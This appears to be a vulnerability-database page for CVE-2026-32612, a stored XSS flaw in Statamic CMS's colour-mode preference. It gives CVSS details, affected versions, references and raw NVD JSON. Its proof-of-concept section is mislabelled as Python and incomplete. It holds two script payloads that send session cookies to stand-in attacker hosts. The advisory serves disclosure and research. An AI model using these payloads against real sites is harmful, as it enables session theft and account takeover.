Security Vulnerability Report
中文
CVE-2026-32612 CVSS 5.4 MEDIUM

CVE-2026-32612

Published: 2026-03-13 19:55:10
Last Modified: 2026-03-19 13:28:12

Description

Statamic is a Laravel and Git powered content management system (CMS). Prior to 6.6.2, stored XSS in the control panel color mode preference allows authenticated users with control panel access to inject malicious JavaScript that executes when a higher-privileged user impersonates their account. This has been fixed in 6.6.2.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* - VULNERABLE
Statamic CMS < 6.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-32612 PoC - Statamic CMS Stored XSS via Color Mode Preference // This PoC demonstrates how to inject malicious JavaScript through the color mode preference // Step 1: Authenticate as low-privilege user const loginEndpoint = 'https://target-site.com/cp/auth/login'; const credentials = { email: '[email protected]', password: 'attacker_password' }; // Step 2: Update color mode preference with XSS payload const updatePreferenceEndpoint = 'https://target-site.com/cp/users/' + userId + '/preferences'; const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; const maliciousPreference = { colorMode: xssPayload, _token: csrfToken }; // Step 3: When admin impersonates this user, the XSS will execute // The payload is stored and rendered without proper encoding // Example API request: // PUT /cp/users/{user_id}/preferences // Content-Type: application/json // { // "colorMode": "<script>document.location='https://evil.com/log?c='+document.cookie</script>" // }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32612", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:09.813", "lastModified": "2026-03-19T13:28:12.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Statamic is a Laravel and Git powered content management system (CMS). Prior to 6.6.2, stored XSS in the control panel color mode preference allows authenticated users with control panel access to inject malicious JavaScript that executes when a higher-privileged user impersonates their account. This has been fixed in 6.6.2."}, {"lang": "es", "value": "Statamic es un sistema de gestión de contenido (CMS) impulsado por Laravel y Git. Antes de 6.6.2, un XSS almacenado en la preferencia de modo de color del panel de control permite a usuarios autenticados con acceso al panel de control inyectar JavaScript malicioso que se ejecuta cuando un usuario con mayores privilegios suplanta su cuenta. Esto ha sido corregido en 6.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.6.2", "matchCriteriaId": "7774FDC9-D73F-41FB-8244-632B78A562CE"}]}]}], "references": [{"url": "https://github.com/Shirshaw64p/security-advisories/tree/main/CVE-2026-32612", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/statamic/cms/security/advisories/GHSA-hcch-w73c-jp4m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}